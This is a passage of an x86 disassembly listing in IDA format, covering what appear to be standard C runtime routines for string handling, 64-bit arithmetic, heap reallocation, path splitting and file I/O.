short loc_416EBA loc_416E5D: ; CODE XREF: sub_416E3E+13j ; sub_416E3E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_416E74 push esi call sub_41BC19 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_416E74: ; CODE XREF: sub_416E3E+27j push esi call sub_4186E4 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_416E89 and al, 0FCh mov [esi+0Ch], eax jmp short loc_416E9D ; --------------------------------------------------------------------------- loc_416E89: ; CODE XREF: sub_416E3E+42j test al, 1 jz short loc_416E9D test al, 8 jz short loc_416E9D test ah, 4 jnz short loc_416E9D mov dword ptr [esi+18h], 200h loc_416E9D: ; CODE XREF: sub_416E3E+49j ; sub_416E3E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41BB7F add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_416EC7 ; --------------------------------------------------------------------------- loc_416EBA: ; CODE XREF: sub_416E3E+Bj ; sub_416E3E+1Dj mov dword_469494, 16h or eax, 0FFFFFFFFh loc_416EC7: ; CODE XREF: sub_416E3E+7Aj pop edi pop esi retn sub_416E3E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ED0 proc near ; CODE XREF: sub_406C3E+2ACp ; sub_406C3E+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_416F01 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_416EFF jz short loc_416F01 dec ecx dec ecx loc_416EFF: ; CODE XREF: sub_416ED0+29j not ecx loc_416F01: ; CODE XREF: sub_416ED0+9j ; sub_416ED0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_416ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416F10 proc near ; CODE XREF: sub_407135+5Cp ; sub_407135+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_416FC4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_416F3A loc_416F2B: ; CODE XREF: sub_416F10+28j mov al, [edi] inc edi test al, al jz short loc_416F6B test edi, 3 jnz short loc_416F2B loc_416F3A: ; CODE XREF: sub_416F10+19j ; sub_416F10+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_416F3A mov eax, [edi-4] test al, al jz short loc_416F78 test ah, ah jz short loc_416F73 test eax, 0FF0000h jz short loc_416F6E test eax, 0FF000000h jnz short loc_416F3A loc_416F6B: ; CODE XREF: sub_416F10+20j dec edi jmp short loc_416F7B ; --------------------------------------------------------------------------- loc_416F6E: ; CODE XREF: sub_416F10+52j sub edi, 2 jmp short loc_416F7B ; --------------------------------------------------------------------------- loc_416F73: ; CODE XREF: sub_416F10+4Bj sub edi, 3 jmp short loc_416F7B ; --------------------------------------------------------------------------- loc_416F78: ; CODE XREF: sub_416F10+47j sub edi, 4 loc_416F7B: ; CODE XREF: sub_416F10+5Cj ; sub_416F10+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_416F90 mov ebx, ecx shr ecx, 2 jnz short loc_416FDC jmp short loc_416FAC ; --------------------------------------------------------------------------- loc_416F90: ; CODE XREF: sub_416F10+75j ; sub_416F10+93j mov dl, [esi] inc esi test dl, dl jz short loc_416FCA mov [edi], dl inc edi dec ecx jz short loc_416FC0 test esi, 3 jnz short loc_416F90 mov ebx, ecx shr ecx, 2 jnz short loc_416FDC loc_416FAC: ; CODE XREF: sub_416F10+7Ej ; sub_416F10+CAj mov ecx, ebx and ecx, 3 jz short loc_416FC0 loc_416FB3: ; CODE XREF: sub_416F10+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_416FC2 dec ecx jnz short loc_416FB3 loc_416FC0: ; CODE XREF: sub_416F10+8Bj ; sub_416F10+A1j mov [edi], cl loc_416FC2: ; CODE XREF: sub_416F10+ABj pop ebx pop esi loc_416FC4: ; CODE XREF: sub_416F10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416FCA: ; CODE XREF: sub_416F10+85j ; sub_416F10+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416FD4: ; CODE XREF: sub_416F10+E4j ; sub_416F10+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_416FAC loc_416FDC: ; CODE XREF: sub_416F10+7Cj ; sub_416F10+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416FD4 test dl, dl jz short loc_416FCA test dh, dh jz short loc_417028 test edx, 0FF0000h jz short loc_417018 test edx, 0FF000000h jnz short loc_416FD4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_417018: ; CODE XREF: sub_416F10+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_417028: ; CODE XREF: sub_416F10+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416F10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417040 proc near ; CODE XREF: sub_407276+2A2p ; sub_40CE55+30AFp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_417061 xor eax, eax jmp short loc_417063 ; --------------------------------------------------------------------------- loc_417061: ; CODE XREF: sub_417040+1Bj mov eax, edi loc_417063: ; CODE XREF: sub_417040+1Fj cld pop edi leave retn sub_417040 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_417080 loc_417070: ; CODE XREF: sub_417080+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_417080 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417080 proc near ; CODE XREF: sub_4085D3+DBp ; sub_40CE55+411p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00417070 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_417086: ; CODE XREF: sub_415AC0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4170AB loc_417098: ; CODE XREF: sub_417080+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_417070 test cl, cl jz short loc_4170F4 test edx, 3 jnz short loc_417098 loc_4170AB: ; CODE XREF: sub_417080+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4170B6: ; CODE XREF: sub_417080+61j ; sub_417080+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4170F8 and eax, 81010100h jz short loc_4170B6 and eax, 1010100h jnz short loc_4170F2 and esi, 80000000h jnz short loc_4170B6 loc_4170F2: ; CODE XREF: sub_417080+68j ; sub_417080+81j ... pop esi pop edi loc_4170F4: ; CODE XREF: sub_417080+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4170F8: ; CODE XREF: sub_417080+5Aj mov eax, [edx-4] cmp al, bl jz short loc_417135 test al, al jz short loc_4170F2 cmp ah, bl jz short loc_41712E test ah, ah jz short loc_4170F2 shr eax, 10h cmp al, bl jz short loc_417127 test al, al jz short loc_4170F2 cmp ah, bl jz short loc_417120 test ah, ah jz short loc_4170F2 jmp short loc_4170B6 ; --------------------------------------------------------------------------- loc_417120: ; CODE XREF: sub_417080+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_417127: ; CODE XREF: sub_417080+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41712E: ; CODE XREF: sub_417080+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_417135: ; CODE XREF: sub_417080+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_417080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41713C proc near ; CODE XREF: sub_4085D3+AFp ; sub_40CE55+4479p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_417150 xor eax, eax jmp short loc_417186 ; --------------------------------------------------------------------------- loc_417150: ; CODE XREF: sub_41713C+Ej dec [ebp+arg_4] push esi jz short loc_417180 mov esi, [ebp+arg_8] loc_417159: ; CODE XREF: sub_41713C+42j dec dword ptr [esi+4] js short loc_417168 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41716F ; --------------------------------------------------------------------------- loc_417168: ; CODE XREF: sub_41713C+20j push esi call sub_41B8B0 pop ecx loc_41716F: ; CODE XREF: sub_41713C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41718A mov [edi], al inc edi cmp al, 0Ah jz short loc_417180 dec [ebp+arg_4] jnz short loc_417159 loc_417180: ; CODE XREF: sub_41713C+18j ; sub_41713C+3Dj ... and byte ptr [edi], 0 loc_417183: ; CODE XREF: sub_41713C+55j mov eax, ebx pop esi loc_417186: ; CODE XREF: sub_41713C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41718A: ; CODE XREF: sub_41713C+36j cmp edi, [ebp+arg_0] jnz short loc_417180 xor ebx, ebx jmp short loc_417183 sub_41713C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417193 proc near ; CODE XREF: sub_409B24+6p ; sub_409B42+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_469528, 0 push ebx push esi push edi jnz short loc_4171C0 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_417259 cmp eax, 5Ah jg loc_417259 add eax, 20h jmp loc_417259 ; --------------------------------------------------------------------------- loc_4171C0: ; CODE XREF: sub_417193+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_4171F4 cmp dword_437F7C, esi jle short loc_4171E2 push esi push ebx call sub_418556 pop ecx pop ecx jmp short loc_4171EC ; --------------------------------------------------------------------------- loc_4171E2: ; CODE XREF: sub_417193+42j mov eax, off_437D70 mov al, [eax+ebx*2] and eax, esi loc_4171EC: ; CODE XREF: sub_417193+4Dj test eax, eax jnz short loc_4171F4 loc_4171F0: ; CODE XREF: sub_417193+ADj mov eax, ebx jmp short loc_417259 ; --------------------------------------------------------------------------- loc_4171F4: ; CODE XREF: sub_417193+3Aj ; sub_417193+5Bj mov edx, off_437D70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_417218 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_417221 ; --------------------------------------------------------------------------- loc_417218: ; CODE XREF: sub_417193+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_417221: ; CODE XREF: sub_417193+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_469528 call sub_41BD71 add esp, 20h test eax, eax jz short loc_4171F0 cmp eax, esi jnz short loc_41724C movzx eax, [ebp+var_4] jmp short loc_417259 ; --------------------------------------------------------------------------- loc_41724C: ; CODE XREF: sub_417193+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_417259: ; CODE XREF: sub_417193+16j ; sub_417193+1Fj ... pop edi pop esi pop ebx leave retn sub_417193 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417260 proc near ; CODE XREF: sub_40AA1B+3Dp ; sub_40C218+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_417281 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_4172D1 ; --------------------------------------------------------------------------- loc_417281: ; CODE XREF: sub_417260+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41728F: ; CODE XREF: sub_417260+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41728F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_4172BA cmp edx, [esp+4+arg_4] ja short loc_4172BA jb short loc_4172C2 cmp eax, [esp+4+arg_0] jbe short loc_4172C2 loc_4172BA: ; CODE XREF: sub_417260+4Aj ; sub_417260+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4172C2: ; CODE XREF: sub_417260+52j ; sub_417260+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_4172D1: ; CODE XREF: sub_417260+1Fj pop ebx retn 10h sub_417260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4172E0 proc near ; CODE XREF: sub_40AA1B+24p ; sub_40C218+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_417302 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_417343 ; --------------------------------------------------------------------------- loc_417302: ; CODE XREF: sub_4172E0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_417310: ; CODE XREF: sub_4172E0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_417310 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41733E cmp edx, [esp+8+arg_4] ja short loc_41733E jb short loc_41733F cmp eax, [esp+8+arg_0] jbe short loc_41733F loc_41733E: ; CODE XREF: sub_4172E0+4Ej ; sub_4172E0+54j dec esi loc_41733F: ; CODE XREF: sub_4172E0+56j ; sub_4172E0+5Cj xor edx, edx mov eax, esi loc_417343: ; CODE XREF: sub_4172E0+20j pop esi pop ebx retn 10h sub_4172E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417348 proc near ; CODE XREF: sub_40AAD1+1E3p ; sub_40C682+104p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_415CF0 cmp eax, 1 pop ecx jb short loc_417383 cmp byte ptr [ebx+1], 3Ah jnz short loc_417383 mov esi, [ebp+arg_4] test esi, esi jz short loc_41737F push 2 push ebx push esi call sub_41C3A0 add esp, 0Ch and byte ptr [esi+2], 0 loc_41737F: ; CODE XREF: sub_417348+25j inc ebx inc ebx jmp short loc_41738D ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417348+18j ; sub_417348+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41738D and byte ptr [eax], 0 loc_41738D: ; CODE XREF: sub_417348+39j ; sub_417348+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_417405 loc_4173A0: ; CODE XREF: sub_417348+87j mov cl, [eax] movzx edx, cl test byte_46A9E1[edx], 4 jz short loc_4173B1 inc eax jmp short loc_4173CB ; --------------------------------------------------------------------------- loc_4173B1: ; CODE XREF: sub_417348+64j cmp cl, 2Fh jz short loc_4173C5 cmp cl, 5Ch jz short loc_4173C5 cmp cl, 2Eh jnz short loc_4173CB mov [ebp+var_4], eax jmp short loc_4173CB ; --------------------------------------------------------------------------- loc_4173C5: ; CODE XREF: sub_417348+6Cj ; sub_417348+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_4173CB: ; CODE XREF: sub_417348+67j ; sub_417348+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_4173A0 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_417405 cmp [ebp+arg_8], 0 jz short loc_417400 sub edi, ebx cmp edi, esi jb short loc_4173E9 mov edi, esi loc_4173E9: ; CODE XREF: sub_417348+9Dj push edi push ebx push [ebp+arg_8] call sub_41C3A0 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_417400: ; CODE XREF: sub_417348+97j mov ebx, [ebp+arg_4] jmp short loc_41740F ; --------------------------------------------------------------------------- loc_417405: ; CODE XREF: sub_417348+56j ; sub_417348+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41740F and byte ptr [ecx], 0 loc_41740F: ; CODE XREF: sub_417348+BBj ; sub_417348+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_417462 cmp edi, ebx jb short loc_417462 cmp [ebp+arg_C], 0 jz short loc_41743F sub edi, ebx cmp edi, esi jb short loc_417428 mov edi, esi loc_417428: ; CODE XREF: sub_417348+DCj push edi push ebx push [ebp+arg_C] call sub_41C3A0 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41743F: ; CODE XREF: sub_417348+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41748A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41744F mov esi, eax loc_41744F: ; CODE XREF: sub_417348+103j push esi push [ebp+var_4] push edi call sub_41C3A0 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41748A ; --------------------------------------------------------------------------- loc_417462: ; CODE XREF: sub_417348+CCj ; sub_417348+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_417480 sub eax, ebx cmp eax, esi jnb short loc_417471 mov esi, eax loc_417471: ; CODE XREF: sub_417348+125j push esi push ebx push edi call sub_41C3A0 add esp, 0Ch and byte ptr [esi+edi], 0 loc_417480: ; CODE XREF: sub_417348+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41748A and byte ptr [eax], 0 loc_41748A: ; CODE XREF: sub_417348+FCj ; sub_417348+118j ... pop edi pop esi pop ebx leave retn sub_417348 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41748F proc near ; CODE XREF: sub_40B1E1+19p ; sub_412D06+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_417D4C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4174CD mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4174DA ; --------------------------------------------------------------------------- loc_4174CD: ; CODE XREF: sub_41748F+34j lea eax, [ebp+var_20] push eax push 0 call sub_417C37 pop ecx pop ecx loc_4174DA: ; CODE XREF: sub_41748F+3Cj mov eax, esi pop esi leave retn sub_41748F endp ; =============== S U B R O U T I N E ======================================= sub_4174DF proc near ; CODE XREF: sub_40B459+2Ep ; sub_4167D3+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_4174FA push [esp+10h+arg_4] call sub_415DC9 pop ecx jmp loc_4175FA ; --------------------------------------------------------------------------- loc_4174FA: ; CODE XREF: sub_4174DF+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_417510 push ebx call sub_415E3D pop ecx loc_417509: ; CODE XREF: sub_4174DF+114j xor eax, eax jmp loc_4175FA ; --------------------------------------------------------------------------- loc_417510: ; CODE XREF: sub_4174DF+21j ; sub_4174DF+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_4175DB push ebx call sub_418AFD mov ebp, eax pop ecx test ebp, ebp jz loc_4175B8 cmp esi, dword_437F8C ja short loc_417578 push esi push ebx push ebp call sub_419308 add esp, 0Ch test eax, eax jz short loc_417547 mov edi, ebx jmp short loc_417570 ; --------------------------------------------------------------------------- loc_417547: ; CODE XREF: sub_4174DF+62j push esi call sub_418E53 mov edi, eax pop ecx test edi, edi jz short loc_417578 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41755E mov eax, esi loc_41755E: ; CODE XREF: sub_4174DF+7Bj push eax push ebx push edi call sub_4155D0 push ebx push ebp call sub_418B28 add esp, 14h loc_417570: ; CODE XREF: sub_4174DF+66j test edi, edi jnz loc_4175F8 loc_417578: ; CODE XREF: sub_4174DF+53j ; sub_4174DF+73j test esi, esi jnz short loc_41757F push 1 pop esi loc_41757F: ; CODE XREF: sub_4174DF+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_46AB00 call dword_42114C ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_4175DB mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4175A4 mov eax, esi loc_4175A4: ; CODE XREF: sub_4174DF+C1j push eax push ebx push edi call sub_4155D0 push ebx push ebp call sub_418B28 add esp, 14h jmp short loc_4175D7 ; --------------------------------------------------------------------------- loc_4175B8: ; CODE XREF: sub_4174DF+47j test esi, esi jnz short loc_4175BF push 1 pop esi loc_4175BF: ; CODE XREF: sub_4174DF+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_46AB00 call dword_421160 ; RtlReAllocateHeap mov edi, eax loc_4175D7: ; CODE XREF: sub_4174DF+D7j test edi, edi jnz short loc_4175F8 loc_4175DB: ; CODE XREF: sub_4174DF+36j ; sub_4174DF+B9j cmp dword_4694F4, 0 jz short loc_4175F8 push esi call sub_418A68 test eax, eax pop ecx jnz loc_417510 jmp loc_417509 ; --------------------------------------------------------------------------- loc_4175F8: ; CODE XREF: sub_4174DF+93j ; sub_4174DF+FAj ... mov eax, edi loc_4175FA: ; CODE XREF: sub_4174DF+16j ; sub_4174DF+2Cj pop edi pop esi pop ebp pop ebx retn sub_4174DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175FF proc near ; CODE XREF: sub_40BAB4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_417623 xor eax, eax jmp loc_4176F0 ; --------------------------------------------------------------------------- loc_417623: ; CODE XREF: sub_4175FF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_417636 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41763D ; --------------------------------------------------------------------------- loc_417636: ; CODE XREF: sub_4175FF+2Dj mov [ebp+arg_C], 1000h loc_41763D: ; CODE XREF: sub_4175FF+35j ; sub_4175FF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_417671 mov eax, [esi+4] test eax, eax jz short loc_417671 cmp ebx, eax mov edi, ebx jb short loc_417657 mov edi, eax loc_417657: ; CODE XREF: sub_4175FF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_4155D0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4176B7 ; --------------------------------------------------------------------------- loc_417671: ; CODE XREF: sub_4175FF+47j ; sub_4175FF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4176BC test ecx, ecx jz short loc_417685 push esi call sub_4186E4 test eax, eax pop ecx jnz short loc_4176FE loc_417685: ; CODE XREF: sub_4175FF+79j cmp [ebp+arg_C], 0 jz short loc_417698 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41769A ; --------------------------------------------------------------------------- loc_417698: ; CODE XREF: sub_4175FF+8Aj mov edi, ebx loc_41769A: ; CODE XREF: sub_4175FF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41C42A add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4176F5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4176F5 loc_4176B7: ; CODE XREF: sub_4175FF+70j mov edi, [ebp+var_4] jmp short loc_4176E5 ; --------------------------------------------------------------------------- loc_4176BC: ; CODE XREF: sub_4175FF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_417C37 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4176FE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4176E5 mov [ebp+arg_C], 1 loc_4176E5: ; CODE XREF: sub_4175FF+BBj ; sub_4175FF+DDj test ebx, ebx jnz loc_41763D mov eax, [ebp+arg_8] loc_4176F0: ; CODE XREF: sub_4175FF+1Fj ; sub_4175FF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4176F5: ; CODE XREF: sub_4175FF+ADj ; sub_4175FF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_417700 ; --------------------------------------------------------------------------- loc_4176FE: ; CODE XREF: sub_4175FF+84j ; sub_4175FF+CFj mov eax, edi loc_417700: ; CODE XREF: sub_4175FF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4176F0 sub_4175FF endp ; =============== S U B R O U T I N E ======================================= sub_417709 proc near ; CODE XREF: sub_40C1FE+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_421094 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_417729 call dword_421088 ; RtlGetLastWin32Error push eax call sub_41C5D7 pop ecx loc_417725: ; CODE XREF: sub_417709+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417729: ; CODE XREF: sub_417709+Dj test al, 1 jz short loc_41774A test [esp+arg_4], 2 jz short loc_41774A mov dword_469494, 0Dh mov dword_469498, 5 jmp short loc_417725 ; --------------------------------------------------------------------------- loc_41774A: ; CODE XREF: sub_417709+22j ; sub_417709+29j xor eax, eax retn sub_417709 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417750 proc near ; CODE XREF: sub_40C328+5Fp ; sub_40C328+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_417771 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_417771: ; CODE XREF: sub_417750+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41778D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41778D: ; CODE XREF: sub_417750+27j or eax, eax jnz short loc_4177A9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4177EA ; --------------------------------------------------------------------------- loc_4177A9: ; CODE XREF: sub_417750+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4177B7: ; CODE XREF: sub_417750+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4177B7 div ecx mov esi, eax mul [esp+0Ch+arg_C] 